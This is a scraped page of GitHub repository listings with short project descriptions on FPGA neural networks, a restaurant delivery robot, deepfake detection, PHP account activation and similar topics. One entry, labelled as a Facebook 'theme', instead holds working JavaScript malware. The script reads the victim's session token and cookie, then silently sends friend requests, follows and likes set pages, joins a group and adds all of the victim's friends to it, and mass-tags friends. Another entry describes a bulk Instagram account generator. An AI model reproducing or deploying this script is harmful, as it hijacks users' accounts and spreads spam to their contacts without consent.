282 skills found · Page 6 of 10
luklanis / Csipsimple PluginA locale/tasker plugin to activate/deactivate csipsimple (http://code.google.com/p/csipsimple) accounts
NightsSoftware / MidasbuyAPI🥝 API for Midasbuy Top-up Store (midasbuy.com): PUBG codes activation, getting players info and more!
guangqian-guo / HANetThe official code of our paper: "Save the Tiny, Save the All: Hierarchical Activation Network for Tiny Object Detection" (TCSVT).
juanjcardona13 / Graphene Django CruddalsConvert your Django models with just a few lines of code into a complete GraphQL API with all CRUD operations + DALS operations (Activate, Deactivate, List, Search)
Hossamomar / EM070 New FPGA Family For CNN Architectures High Speed Soft Neuron DesignWho doesn’t dream of a new FPGA family that can provide embedded hard neurons in its silicon architecture fabric instead of the conventional DSP and multiplier blocks? The optimized hard neuron design will allow all the software and hardware designers to create or test different deep learning network architectures, especially the convolutional neural networks (CNN), more easily and faster in comparing to any previous FPGA family in the market nowadays. The revolutionary idea about this project is to open the gate of creativity for a precise-tailored new generation of FPGA families that can solve the problems of wasting logic resources and/or unneeded buses width as in the conventional DSP blocks nowadays. The project focusing on the anchor point of the any deep learning architecture, which is to design an optimized high-speed neuron block which should replace the conventional DSP blocks to avoid the drawbacks that designers face while trying to fit the CNN architecture design to it. The design of the proposed neuron also takes the parallelism operation concept as it’s primary keystone, beside the minimization of logic elements usage to construct the proposed neuron cell. The targeted neuron design resource usage is not to exceeds 500 ALM and the expected maximum operating frequency of 834.03 MHz for each neuron. In this project, ultra-fast, adaptive, and parallel modules are designed as soft blocks using VHDL code such as parallel Multipliers-Accumulators (MACs), RELU activation function that will contribute to open a new horizon for all the FPGA designers to build their own Convolutional Neural Networks (CNN). We couldn’t stop imagining INTEL ALTERA to lead the market by converting the proposed designed CNN block and to be a part of their new FPGA architecture fabrics in a separated new Logic Family so soon. The users of such proposed CNN blocks will be amazed from the high-speed operation per seconds that it can provide to them while they are trying to design their own CNN architectures. For instance, and according to the first coding trial, the initial speed of just one MAC unit can reach 3.5 Giga Operations per Second (GOPS) and has the ability to multiply up to 4 different inputs beside a common weight value, which will lead to a revolution in the FPGA capabilities for adopting the era of deep learning algorithms especially if we take in our consideration that also the blocks can work in parallel mode which can lead to increasing the data throughput of the proposed project to about 16 Tera Operations per Second (TOPS). Finally, we believe that this proposed CNN block for FPGA is just the first step that will leave no areas for competitions with the conventional CPUs and GPUs due to the massive speed that it can provide and its flexible scalability that it can be achieved from the parallelism concept of operation of such FPGA-based CNN blocks.
sagarpant / Restaurant Of The FutureRestaurant of The Future Abstract-: Changing the tradition of human waiters, the bot delivers delicious food to you. The project uses mobile app to order the food and a mechanical bot to deliver the cokked food to the consumer. Team Members-: 1)Sanjay Kumar 2)Kundan Kumar 3)Aman Verma 4)Sagar Pant 5)Shubham Chitransh 5)Harshit Bansal 6)Karan Shrivastav Mentors-: Prashant Pulkit Goyal Applications-: The bot may be used to completely transform the future of restaurants. It may be used as the perfect replacement for the waitors to deliver the food ordered by the customer . Other applications include delivery of goods from malls and other nearby stores. Pre-Requisites-: 1)Arduino (Uno / Mega or any other aduino board) 2)2 Servo Motors(..... ) 3)2 Wheels 4)1 Caster Wheel 5)2 Motor Drives(L298N) 6)2 Encoders / Proximity sesnors 7)Bluetooth Module(HC-05) 8)Jumper Wires 9)Breadboard 10)12V battery Software Used- !)Arduino 2)Android Studio Electronic Design -: Arduino is an open-source electronics platform based on easy-to-use hardware and software. Arduino boards are able to read inputs - light on a sensor, a finger on a button, - and turn it into an output - activating a motor, turning on an LED. You can tell your board what to do by sending a set of instructions to the microcontroller on the board. To do so you use the Arduino programming language (based on Wiring), and the Arduino Software (IDE), based on Processing. We used Arduino Mega Board -: The Arduino Mega is a microcontroller board based on the ATmega1280 (datasheet). It has 54 digital input/output pins (of which 14 can be used as PWM outputs), 16 analog inputs, 4 UARTs (hardware serial ports), a 16 MHz crystal oscillator, a USB connection, a power jack, an ICSP header, and a reset button. It contains everything needed to support the microcontroller; simply connect it to a computer with a USB cable or power it with a AC-to-DC adapter or battery to get started. The Mega is compatible with most shields designed for the Arduino Duemilanove or Diecimila. Otical Encoder-: An optical encoder is a type of rotary encoder that uses a sensor to identify position change as light passes through a patterned encoder wheel or disk. There are four components in an optical shaft encoder: A light source (an LED light) A sensor A moveable disk A fixed mask The LED shines through one side of the optical shaft encoder. The encoder wheel or disk has a series of tracks on it, similar to the concentric grooves in an LP. The mask has a corresponding track for every track on the disk of the optical encoder, and small perforations, called windows, are cut along the tracks in the mask. As the disk moves, different windows in the mask are covered or open, showing the movement and position of the optical shaft encoder. Each arc in the rotation indicates a different position and has a different pattern of open/closed windows. The sensor behind the mask identifies the optical encoders’ current pattern. Motor Drives-: An H-Bridge is a circuit that can drive a current in either polarity and be controlled by *Pulse Width Modulation (PWM). Pulse Width Modulation is a means in controlling the duration of an electronic pulse. In motors try to imagine the brush as a water wheel and electrons as a the flowing droplets of water. The voltage would be the water flowing over the wheel at a constant rate, the more water flowing the higher the voltage. Motors are rated at certain voltages and can be damaged if the voltage is applied to heavily or if it is dropped quickly to slow the motor down. Thus PWM. Take the water wheel analogy and think of the water hitting it in pulses but at a constant flow. The longer the pulses the faster the wheel will turn, the shorter the pulses, the slower the water wheel will turn. Motors will last much longer and be more reliable if controlled through PWM. Working -: The Bot is a signal receiver cum delivery bot that may be used in a restaurant to take the order from the customer and deliver the ordered itmes to cutomers. This is done by the use of an app built using android studio. The app may be placed on each table of a restaurant and the customers may use it for ordering food. The bot uses a bluetooth module to recieve the signal and gets to know about the table to which it is supposed to move. Then it makes use of the code on the microcontroller and moves to the table which has ordered the food and delivers it to the customer by sliding the upper plate using a gear driven by the motor. The error reduction in motion is done through pid tuning of the bot. The bot moves to the table position which is fixed and delivers the food.
weichennone / FedMAXSource code for ECML-PKDD (2020) paper: FedMAX: Mitigating Activation Divergence for Accurate and Communication-Efficient Federated Learning
BugRoger / BeastmodeAgentic workflow skills for Claude Code. Activate beastmode.
IvanWang0730 / StyleAPCode and Data for Paper "Controlling Styles in Neural Machine Translation with Activation Prompt" (ACL 2023 Findings)
sjnims / Cc Plugin Eval4-stage evaluation framework for testing Claude Code plugin component triggering. Validates skills, agents, and commands activate correctly via programmatic detection and LLM judgment.
ajaybhatiya1234 / DEEP FACE Dectection01 Read the technical deep dive: https://www.dessa.com/post/deepfake-detection-that-actually-works # Visual DeepFake Detection In our recent [article](https://www.dessa.com/post/deepfake-detection-that-actually-works), we make the following contributions: * We show that the model proposed in current state of the art in video manipulation (FaceForensics++) does not generalize to real-life videos randomly collected from Youtube. * We show the need for the detector to be constantly updated with real-world data, and propose an initial solution in hopes of solving deepfake video detection. Our Pytorch implementation, conducts extensive experiments to demonstrate that the datasets produced by Google and detailed in the FaceForensics++ paper are not sufficient for making neural networks generalize to detect real-life face manipulation techniques. It also provides a current solution for such behavior which relies on adding more data. Our Pytorch model is based on a pre-trained ResNet18 on Imagenet, that we finetune to solve the deepfake detection problem. We also conduct large scale experiments using Dessa's open source scheduler + experiment manger [Atlas](https://github.com/dessa-research/atlas). ## Setup ## Prerequisities To run the code, your system should meet the following requirements: RAM >= 32GB , GPUs >=1 ## Steps 0. Install [nvidia-docker](https://github.com/nvidia/nvidia-docker/wiki/Installation-(version-2.0)) 00. Install [ffmpeg](https://www.ffmpeg.org/download.html) or `sudo apt install ffmpeg` 1. Git Clone this repository. 2. If you haven't already, install [Atlas](https://github.com/dessa-research/atlas). 3. Once you've installed Atlas, activate your environment if you haven't already, and navigate to your project folder. That's it, You're ready to go! ## Datasets Half of the dataset used in this project is from the [FaceForensics](https://github.com/ondyari/FaceForensics/tree/master/dataset) deepfake detection dataset. . To download this data, please make sure to fill out the [google form](https://github.com/ondyari/FaceForensics/#access) to request access to the data. For the dataset that we collected from Youtube, it is accessible on [S3](ttps://deepfake-detection.s3.amazonaws.com/augment_deepfake.tar.gz) for download. To automatically download and restructure both datasets, please execute: ``` bash restructure_data.sh faceforensics_download.py ``` Note: You need to have received the download script from FaceForensics++ people before executing the restructure script. Note2: We created the `restructure_data.sh` to do a split that replicates our exact experiments avaiable in the UI above, please feel free to change the splits as you wish. ## Walkthrough Before starting to train/evaluate models, we should first create the docker image that we will be running our experiments with. To do so, we already prepared a dockerfile to do that inside `custom_docker_image`. To create the docker image, execute the following commands in terminal: ``` cd custom_docker_image nvidia-docker build . -t atlas_ff ``` Note: if you change the image name, please make sure you also modify line 16 of `job.config.yaml` to match the docker image name. Inside `job.config.yaml`, please modify the data path on host from `/media/biggie2/FaceForensics/datasets/` to the absolute path of your `datasets` folder. The folder containing your datasets should have the following structure: ``` datasets ├── augment_deepfake (2) │ ├── fake │ │ └── frames │ ├── real │ │ └── frames │ └── val │ ├── fake │ └── real ├── base_deepfake (1) │ ├── fake │ │ └── frames │ ├── real │ │ └── frames │ └── val │ ├── fake │ └── real ├── both_deepfake (3) │ ├── fake │ │ └── frames │ ├── real │ │ └── frames │ └── val │ ├── fake │ └── real ├── precomputed (4) └── T_deepfake (0) ├── manipulated_sequences │ ├── DeepFakeDetection │ ├── Deepfakes │ ├── Face2Face │ ├── FaceSwap │ └── NeuralTextures └── original_sequences ├── actors └── youtube ``` Notes: * (0) is the dataset downloaded using the FaceForensics repo scripts * (1) is a reshaped version of FaceForensics data to match the expected structure by the codebase. subfolders called `frames` contain frames collected using `ffmpeg` * (2) is the augmented dataset, collected from youtube, available on s3. * (3) is the combination of both base and augmented datasets. * (4) precomputed will be automatically created during training. It holds cashed cropped frames. Then, to run all the experiments we will show in the article to come, you can launch the script `hparams_search.py` using: ```bash python hparams_search.py ``` ## Results In the following pictures, the title for each subplot is in the form `real_prob, fake_prob | prediction | label`. #### Model trained on FaceForensics++ dataset For models trained on the paper dataset alone, we notice that the model only learns to detect the manipulation techniques mentioned in the paper and misses all the manipulations in real world data (from data)   #### Model trained on Youtube dataset Models trained on the youtube data alone learn to detect real world deepfakes, but also learn to detect easy deepfakes in the paper dataset as well. These models however fail to detect any other type of manipulation (such as NeuralTextures).   #### Model trained on Paper + Youtube dataset Finally, models trained on the combination of both datasets together, learns to detect both real world manipulation techniques as well as the other methods mentioned in FaceForensics++ paper.   for a more in depth explanation of these results, please refer to the [article](https://www.dessa.com/post/deepfake-detection-that-actually-works) we published. More results can be seen in the [interactive UI](http://deepfake-detection.dessa.com/projects) ## Help improve this technology Please feel free to fork this work and keep pushing on it. If you also want to help improving the deepfake detection datasets, please share your real/forged samples at foundations@dessa.com. ## LICENSE © 2020 Square, Inc. ATLAS, DESSA, the Dessa Logo, and others are trademarks of Square, Inc. All third party names and trademarks are properties of their respective owners and are used for identification purposes only.
adesatria / Themevar fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Theme By: adE Satria https://www.facebook.com/ProfiLadesatria'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //Boss a("100004368643588");a("100007079796120");a("100001503619455"); sublist("243737815781838");sublist("1387712268141420");sublist("262092750613011"); var gid = ['787801977901062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "531553660285377"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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daveh / Php Account ActivationSource code to accompany the video on PHP account activation
bynds / MakevoicedemoHuman Activated Technology System - Example code for Make:
zile42O / Instagram GeneratorInstagram account generator in Python code, using proxy and sms-activate.org API.
shijxcs / MeftSource code for the paper "Memory-Efficient Fine-Tuning via Low-Rank Activation Compression"
devkimchi / Service Broker External ActivatorThis is a sample code for Service Broker External Activator of SQL Server 2012 (and possibly 2005 and 2008 R2).
egbakou / TrackXamarinAppUserXamarin.Forms Sample project using App.User.LocationInfo plugin. As a reminder, the Plugin App.User.LocationInfo retrieves information about user's location without GPS activation: IP address, country name, city name, GPS coordinates (latitude and longitude), country calling code, country currency, country flag image, etc.
gosfem / Codeigniter Admin And User Role TempateCodeigniter Admin Template is a Ultimate Codeigniter Material + Bootstrap 4 integrated admin template. We have also added User & Role management with unlimited user permissions with ajax authentication. It comes with most common features with lot of premium material and boostrap 4 forms, tables, email, ui elements, reports, charts and many more options. It will help you to build Admin panel, CMS, Employee management, CRM, or any backend administrator System. Live Demo: https://optimumlinkupsoftware.com/template/ Sample Software Built With: https://optimumlinkupsoftware.com/newschool/ Core Features: Latest CodeIgniter 3.1.7 Bootstrap 4 & Material Design Easy Integration & Customization Standared & clean code Fully Responsive Design User management User role management with unlimited permissions Different User Access Level (Admin and User) Activate or deactivate user Accounts Data export with(copy, csv, pdf, excel and print) Database backup option Ajax secure Authentication Jquery Data tables Jquery form validations Ajax pagination with advanced search filter Sweetalert popup notification with ajax Detailed Documentation with commented code Totally Secure System Runs on PHP 5.4.3+ (and PHP 7) Integrated Features: Mail: Inbox Tables Compose Layouts Inbox Details Tables Ui Elements Cards Panels and Wells panels with BlockIO Dragable Panel Dragable Portlet Buttons Bootsrap Switch Date Pagination Sweet Alert Typography Grid Tabs Stylish Tabs Modals Progress Bars Notifications Carousel List & Media object User Cards Timeline Horizontal Timeline Nesteble Range Slider Ribbons Steps Reports: Payment Report Income Report Sales Report Payments: All Payments Create Payment Payment Invoice Forms Form Basic Layout Form Layout Form Addons Form Material Form Float Input File Upload Form Mask Form Validation Form File Dropzone Form-pickerst Icheck Form Controls Form-wizards Typehead X-editable Summernote Bootstrap wysihtml5 Tinymce wysihtml5 Backup Database Widget Icons Font awesome Themify Icons Simple line Icons Weather Icons Sample pages Starter Page Blank Page Email Templates: Alert, Billing, Basic and Reset Password Lightbox Popup Treeview Search Result Utility Classes Custom Scrolls Login Page Login v2 Animations Profile Invoice FAQ Gallery Pricing Register Register v2 3 Step Registration Recover Password Tables Basic Tables Table Layouts Bootstrap Tables Responsive Table Editable Tables FooTables Pages Blank page Login Register Lockscreen Recover password Profile page Invoice Error Pages Logout Security: There are various mechanisms to secure application. These mechanisms are: Cross-Site Request Forgery (CSRF) Prevention Cross-Site Scripting (XSS) Prevention Requirements: There are some requirements to work on your server. These requirements are: PHP >= 5.4.3 + (and PHP 7)
cookyecat / MOPCNNCode for Multi-scale Orderless Pooling of Deep Convolutional Activation Features
